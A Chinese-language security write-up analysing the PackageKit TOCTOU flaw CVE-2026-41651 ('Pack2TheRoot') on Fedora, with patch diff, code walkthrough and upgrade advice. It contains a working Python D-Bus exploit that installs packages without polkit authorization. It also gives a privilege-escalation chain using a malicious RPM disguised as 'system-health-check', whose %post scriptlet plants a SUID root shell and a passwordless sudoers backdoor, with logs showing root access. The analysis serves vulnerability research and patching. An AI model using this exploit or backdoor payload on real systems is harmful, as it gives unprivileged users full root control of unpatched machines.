A TOCTOU race condition in PackageKit allows an unprivileged attacker to install or remove system packages without authorization, potentially leading to full system compromise. —— GHSA-f55j-vvr9-69xv
TL; DR 2026 年 4 月,Deutsche Telekom 安全团队披露了 PackageKit 中一个被称为 Pack2TheRoot 的本地提权漏洞。PackageKit 是 Linux 桌面环境中广泛使用的包管理抽象层,几乎所有主流发行版(Ubuntu、Fedora、Debian、RHEL 系列)都默认安装并以 root 权限运行其 daemon packagekitd。
1 2 sh-5.3$ busctl --list |grep PackageKit org.freedesktop.PackageKit 84293 packagekitd root :1.1535 packagekit.service
该漏洞的核心是一个 CWE-367 TOCTOU(Time-of-check Time-of-use)竞态条件 :在同一个 D-Bus transaction 对象上,攻击者可以先调用一个不需要 polkit 认证的查询操作(如 GetPackages),使 transaction 直接进入 READY→RUNNING 状态并排队等待后端执行。紧接着在同一 transaction 上调用特权操作(如 InstallPackages),覆写 transaction 内部缓存的操作类型(role)和参数(package_ids)。由于 GLib 的事件优先级和 pk_transaction_run() 缺少状态校验,后端最终以被篡改后的特权操作参数执行。
我当前测试系统是 Fedora release 43 / PackageKit-1.3.4-1.fc43.x86_64
背景知识 PackageKit 架构 PackageKit 通过 D-Bus 提供系统级包管理服务。其基本工作流程:
1 2 3 4 5 6 7 8 9 10 用户进程 (pkcon/GNOME Software) │ D-Bus (system bus) ▼ packagekitd (root) │ 1. CreateTransaction() → 返回 transaction 对象路径 │ 2. 客户端在 transaction 上调用操作方法 (InstallPackages/RefreshCache/...) │ 3. packagekitd 通过 polkit 检查调用者是否有权限 │ 4. 授权通过 → 后端 (dnf/apt) 执行实际操作 ▼ 后端 (libpk_backend_dnf.so / libpk_backend_apt.so)
Transaction 状态机 每个 transaction 有一个严格的状态流转(pk-transaction.c:860):
1 NEW → WAITING_FOR_AUTH → READY → RUNNING → FINISHED
NEW: 刚创建,等待客户端调用操作方法
WAITING_FOR_AUTH: 正在等待 polkit 授权
READY: 授权通过,等待调度执行
RUNNING: 后端正在执行操作
FINISHED: 操作完成
polkit 策略差异 不同操作对应不同的 polkit policy,授权要求也不同:
操作
polkit action
active session
说明
RefreshCache
system-sources-refresh
yes (自动授权)
刷新仓库缓存
GetPackages
无需 polkit
直接通过
查询包列表
InstallPackages
package-install
auth_admin_keep
需要管理员密码
RemovePackages
package-remove
auth_admin_keep
需要管理员密码
GetPackages 不经过 polkit,直接 set_state(READY)。
漏洞分析 根本原因 拿 v1.3.4 和 v1.3.5 做 diff:
改动不大,核心就加了一个检查:
1 2 3 4 5 6 7 8 9 if (transaction->state != PK_TRANSACTION_STATE_NEW) { g_dbus_method_invocation_return_error (invocation, PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, "cannot call %s on transaction %s: already in state %s" , method_name, transaction->tid, pk_transaction_state_to_string (transaction->state)); return ; }
补丁注释写得很清楚:
Reject any attempt to re-invoke them after the transaction has been initialized, preventing situations where a second D-Bus call could overwrite transaction flags (or other cached state) after authorization has already been granted for the previous request based on the old parameters.
也就是说 1.3.4 里,一个 transaction 可以被反复调用不同的 action method ,没有任何状态检查。看看漏洞版本的分发逻辑:
1 2 3 4 5 6 7 8 9 10 if (g_strcmp0 (method_name, "InstallPackages" ) == 0 ) { pk_transaction_install_packages (transaction, parameters, invocation); return ; } if (g_strcmp0 (method_name, "RefreshCache" ) == 0 ) { pk_transaction_refresh_cache (transaction, parameters, invocation); return ; }
竞态窗口 要理解为什么缺少这个检查会导致提权,需要看两个关键函数的内部实现。
pk_transaction_get_packages() —— 无需认证的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pk_transaction_get_packages (PkTransaction *transaction, GVariant *params, GDBusMethodInvocation *context) { transaction->cached_filters = filter; pk_transaction_set_role (transaction, PK_ROLE_ENUM_GET_PACKAGES); pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY); out: pk_transaction_dbus_return (context, error); }
GetPackages 直接调用 pk_transaction_set_state(READY),绕过了整个 polkit 认证流程 。当 state 变为 READY 时,scheduler 会立即提交并调度执行:
1 2 3 4 5 if (state == PK_TRANSACTION_STATE_READY) { pk_scheduler_commit (scheduler, pk_transaction_get_tid (transaction)); return ; }
pk_scheduler_commit() → pk_scheduler_run_item() → 将 state 设为 RUNNING,然后通过 g_idle_add() 将 pk_transaction_run() 加入 GLib 主循环的 idle 队列:
1 2 3 4 5 6 7 static void pk_scheduler_run_item (PkScheduler *scheduler, PkSchedulerItem *item) { pk_transaction_set_state (item->transaction, PK_TRANSACTION_STATE_RUNNING); item->idle_id = g_idle_add ((GSourceFunc) pk_scheduler_run_idle_cb, item); }
g_idle_add 的回调优先级是 G_PRIORITY_DEFAULT_IDLE(200),而 D-Bus 消息处理是 G_PRIORITY_DEFAULT(0)。优先级数值越小越先执行。
再看 InstallPackages:
pk_transaction_install_packages() —— 需要认证的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pk_transaction_install_packages (PkTransaction *transaction, GVariant *params, GDBusMethodInvocation *context) { transaction->cached_transaction_flags = transaction_flags; transaction->cached_package_ids = g_strdupv (package_ids); pk_transaction_set_role (transaction, PK_ROLE_ENUM_INSTALL_PACKAGES); ret = pk_transaction_obtain_authorization (transaction, PK_ROLE_ENUM_INSTALL_PACKAGES, &error); }
这里的问题不仔细想可能我还真不会注意到,如果不是看了Patch:InstallPackages 会无条件覆写 cached_transaction_flags、cached_package_ids 和 role,而不管 transaction 当前处于什么状态。
随后调用的 pk_transaction_obtain_authorization() 会尝试将 state 设为 WAITING_FOR_AUTH,但由于当前 state 已经是 RUNNING(RUNNING=4 > WAITING_FOR_AUTH=2),pk_transaction_set_state() 会打印一条 warning 并直接 return,但不会阻止后续的 polkit 异步检查被发起 :
1 2 3 4 5 if (transaction->state > state) { g_warning ("cannot set %s, as already %s" , ...); return ; }
因此,即使 state 转换失败,polkit 检查仍然被启动。这个”僵尸” polkit 检查最终会因无 auth agent 而失败,触发 pk_transaction_finished_emit(FAILED) 导致 daemon crash —— 但此时包已经安装完成。
pk_transaction_run() —— 实际执行操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 switch (transaction->role) {case PK_ROLE_ENUM_INSTALL_PACKAGES: pk_backend_install_packages (transaction->backend, transaction->job, transaction->cached_transaction_flags, transaction->cached_package_ids); break ; case PK_ROLE_ENUM_REFRESH_CACHE: pk_backend_refresh_cache (transaction->backend, transaction->job, transaction->cached_force); break ; }
pk_transaction_run() 根据 transaction->role 来决定执行什么操作,并使用 cached_* 字段作为参数。如果 role 在 idle 回调执行 pk_transaction_run() 之前被覆写,后端实际执行的操作就会与原始操作不同——而且 pk_transaction_run() 不检查 emitted_finished 标志或 transaction state,即使其他回调已经标记事务失败,后端仍然会执行。
GLib 事件优先级 整个漏洞能够被利用的核心在于 GLib 主循环的事件优先级 机制:
1 2 3 4 5 6 优先级 (数值越小优先级越高): G_PRIORITY_HIGH = -100 G_PRIORITY_DEFAULT = 0 ← D-Bus 消息处理 G_PRIORITY_HIGH_IDLE = 100 G_PRIORITY_DEFAULT_IDLE = 200 ← g_idle_add() 的回调 G_PRIORITY_LOW = 300
当我们通过同一个 D-Bus 连接连续发送两条消息时:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 1. D-Bus msg1: GetPackages(0) → role = GET_PACKAGES → state: NEW → READY → RUNNING (scheduler 同步推进) → g_idle_add(pk_scheduler_run_idle_cb) // 排队,暂不执行 2. D-Bus msg2: InstallPackages(0, ["cowsay;..."]) → cached_package_ids = ["cowsay;..."] // 覆写! → role = INSTALL_PACKAGES // 覆写! → pk_transaction_obtain_authorization() → polkit 异步检查(会失败) 3. idle 回调触发: pk_transaction_run() → switch(role) → role 已经是 INSTALL_PACKAGES → pk_backend_install_packages(...) → 后端线程开始装包 4. polkit 异步返回: not authorized → pk_transaction_finished_emit(FAILED) → emitted_finished = TRUE 5. 后端装完包,回调触发: → pk_transaction_finished_emit(SUCCESS) → g_assert(!emitted_finished) → CRASH! → 但包已经装好了
步骤 3 和 4 的先后取决于 polkit D-Bus 往返有多快,但不影响结果——就算 4 先于 3,pk_transaction_run() 也不检查 emitted_finished,后端照样启动。
漏洞利用 基本利用:无认证安装包 利用思路非常直接:通过低级 D-Bus API 连续发送两条消息,确保它们在 daemon 的消息队列中仅连着。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import dbusimport dbus.lowlevelfrom dbus.mainloop.glib import DBusGMainLoopDBusGMainLoop(set_as_default=True ) bus = dbus.SystemBus() pk = bus.get_object("org.freedesktop.PackageKit" , "/org/freedesktop/PackageKit" ) pk_iface = dbus.Interface(pk, "org.freedesktop.PackageKit" ) tx_path = pk_iface.CreateTransaction() msg1 = dbus.lowlevel.MethodCallMessage( "org.freedesktop.PackageKit" , tx_path, "org.freedesktop.PackageKit.Transaction" , "GetPackages" ) msg1.append(dbus.UInt64(0 ), signature="t" ) msg2 = dbus.lowlevel.MethodCallMessage( "org.freedesktop.PackageKit" , tx_path, "org.freedesktop.PackageKit.Transaction" , "InstallPackages" ) msg2.append(dbus.UInt64(0 ), signature="t" ) msg2.append(dbus.Array(["cowsay;3.8.4-3.fc43;noarch;fedora" ], signature="s" ), signature="as" ) bus.send_message(msg1) bus.send_message(msg2)
实际测试结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 $ whoami swing $ python3 pack2theroot.py cowsay ============================================================ CVE-2026-41651 - Pack2TheRoot PackageKit TOCTOU Local Privilege Escalation ============================================================ [*] Running as: uid=1000 (swing) [*] PackageKit version: 1.3.4 [*] Package 'cowsay' is currently: not installed [*] Resolving package 'cowsay'... [+] Resolved: cowsay;3.8.4-3.fc43;noarch;fedora [*] Exploiting TOCTOU to install 'cowsay'... [*] Method: GetPackages(no-auth) + InstallPackages(async race) [*] Attempt 1/5... fired! [*] Waiting for backend to install package... [+] ======================================================== [+] SUCCESS! Package 'cowsay' installed WITHOUT auth! [+] CVE-2026-41651 exploited successfully. [+] ======================================================== $ cowsay "pwned" _______ < pwned > ------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||
Daemon 崩溃分析 利用成功后 daemon 会因 assertion failure 崩溃。pk_transaction_finished_emit() 被调用了两次:
第一次 :InstallPackages 的 polkit 检查异步返回(not authorized),触发 finished_emit(FAILED) → 设置 emitted_finished = TRUE
第二次 :后端线程完成安装后,通过 idle 回调触发 finished_emit(SUCCESS) → 断言失败
1 2 3 4 5 6 7 8 static void pk_transaction_finished_emit (PkTransaction *transaction, ...) { g_assert (!transaction->emitted_finished); transaction->emitted_finished = TRUE; }
注意:两次调用的顺序取决于 polkit 回复和后端完成的时机。如果后端先完成(情况 A),则 #6 为 polkit 授权回调;如果 polkit 先返回(情况 B),则 #6 为后端完成回调。实际观察到两种情况:
1 2 3 4 5 6 7 情况 A (早期 RefreshCache+InstallPackages 尝试): #5 pk_transaction_finished_emit #6 pk_transaction_authorize_actions_finished_cb ← polkit 回调触发第二次 finished_emit 情况 B (最终 GetPackages+InstallPackages 利用): #5 pk_transaction_finished_emit #6 pk_backend_job_call_vfunc_idle_cb ← 后端完成触发第二次 finished_emit
无论哪种情况,crash 都发生在包已经安装完成之后 。Daemon 崩溃后由 systemd 自动重启,不影响利用效果。
完整提权:user → root 能够无认证安装任意包本身就很危险,但结合 RPM 的 %post 脚本机制可以实现完整提权。RPM 安装时的 scriptlet 以 root 身份执行。
提权链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Step 1: 用 TOCTOU 安装 rpm-build(用于后续构建 RPM) GetPackages + InstallPackages("rpm-build") → 成功 Step 2: 构建恶意 RPM %post scriptlet: cp /bin/bash /var/tmp/.pk_rootshell chmod 4755 /var/tmp/.pk_rootshell ← SUID root Step 3: 用 TOCTOU 的 InstallFiles 变体安装恶意 RPM GetPackages + InstallFiles("/path/to/evil.rpm") → 成功 %post 脚本以 root 执行 → SUID shell 创建 Step 4: 执行 SUID shell /var/tmp/.pk_rootshell -p → euid=0(root)
InstallFiles 的利用方式与 InstallPackages 相同,只是覆写的是 cached_full_paths 而非 cached_package_ids:
1 2 3 4 5 6 7 msg2 = dbus.lowlevel.MethodCallMessage( "org.freedesktop.PackageKit" , tx_path, "org.freedesktop.PackageKit.Transaction" , "InstallFiles" ) msg2.append(dbus.UInt64(0 ), signature="t" ) msg2.append(dbus.Array(["/path/to/evil.rpm" ], signature="s" ), signature="as" )
恶意 RPM 的 spec 文件核心部分:
1 2 3 4 5 %post cp /bin/bash /var/tmp/.pk_rootshell chmod 4755 /var/tmp/.pk_rootshell echo "attacker ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/backdoor chmod 440 /etc/sudoers.d/backdoor
实际提权结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 sh-5.3$ python3 pack2theroot_privesc.py ============================================================ CVE-2026-41651 - Pack2TheRoot Full Privilege Escalation: user → root ============================================================ [*] Running as: uid=1000 (swing) [*] PackageKit version: 1.3.4 [*] Step 1: Checking build dependencies... [+] rpm-build already available [*] Step 2: Building payload RPM... [*] SUID shell will be placed at: /var/tmp/.pk_rootshell [+] RPM built: /tmp/pk_b33ahaok/rpmbuild/RPMS/noarch/system-health-check-1.0-1.fc43.noarch.rpm [+] RPM staged at: /var/tmp/.system-health-check-1.0-1.noarch.rpm [*] Step 3: Installing payload RPM via TOCTOU exploit... [*] Method: GetPackages(no-auth) + InstallFiles(race) [+] Payload RPM installed! [*] Step 4: Checking for SUID shell... [+] /var/tmp/.pk_rootshell exists (suid=True, owner_uid=0) [+] ======================================================== [+] PRIVILEGE ESCALATION SUCCESSFUL! [+] ======================================================== [*] To get a root shell, run: /var/tmp/.pk_rootshell -p [*] Or with sudo (passwordless): sudo -s [*] Spawning root shell... .pk_rootshell-5.3# id uid=1000(swing) gid=1000(swing) euid=0(root) groups=1000(swing),10(wheel),970(docker) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 .pk_rootshell-5.3#
利用条件与影响 利用条件
目标系统安装了 PackageKit 0.8.1 ~ 1.3.4(几乎所有 Linux 桌面发行版默认安装)
攻击者拥有一个本地低权限 shell(任意非 root 用户)
PackageKit daemon 正在运行(通过 D-Bus activation 会自动启动)
不需要桌面会话、不需要 polkit agent、不需要用户交互
利用可靠性 这个漏洞的利用不是概率性的 。与传统竞态条件需要精确的时间窗口不同,这个 TOCTOU 的利用几乎是确定性的:
两条 D-Bus 消息通过同一连接发送,保证 GetPackages 在 InstallPackages 之前被处理
GLib 事件优先级保证两条 D-Bus 消息(DEFAULT=0)都在 idle 回调(IDLE=200)之前处理,确保 role 覆写发生在 pk_transaction_run() 之前
关键保证:pk_transaction_run() 不检查 emitted_finished 标志和 transaction state,即使 polkit 失败回调先触发并标记事务失败,后端仍然会启动并完成安装
因此无论 polkit 回复和 idle 回调的相对时序如何,包安装都会成功 ——不存在需要”赢得”的竞争窗口
修复建议
升级 PackageKit 至 1.3.5 或更高版本
各发行版的安全更新(2026-04-22 起陆续发布):
Fedora: sudo dnf update PackageKit
Ubuntu/Debian: sudo apt update && sudo apt upgrade packagekit
临时缓解:systemctl mask packagekit && systemctl stop packagekit
References